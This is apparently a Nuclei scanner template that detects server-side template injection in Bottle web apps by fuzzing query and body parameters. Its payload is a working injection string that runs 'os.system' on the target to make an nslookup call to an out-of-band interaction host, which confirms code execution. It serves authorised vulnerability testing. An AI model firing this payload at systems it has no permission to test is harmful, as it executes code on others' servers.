id: bottle-oob

info:
  name: Bottle - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK
  severity: high
  reference:
    - https://bottlepy.org/docs/dev/
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
  tags: ssti,dast,oast,oob,vuln

variables:
  oast: "{{interactsh-url}}"

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'
          - 'method == "PUT"'
    payloads:
      injection:
        - "{{exec('import+os')}}{{exec('os.system(\"nslookup+-type=SRV+{{interactsh-url}}\")')}}"

    fuzzing:
      - parts:
          - query
          - body
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    skip-variables-check: true

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 4b0a00483046022100e23b3dc1c87488306c2a6219ef7237f7e5c925b910901db5ef6f6114124d4cb6022100b614c0bbdd924bb74ab7aa252d7a8b5292befe98a4ed5a0e17785a2019525e5c:922c64590222798bb761d5b6d8e72950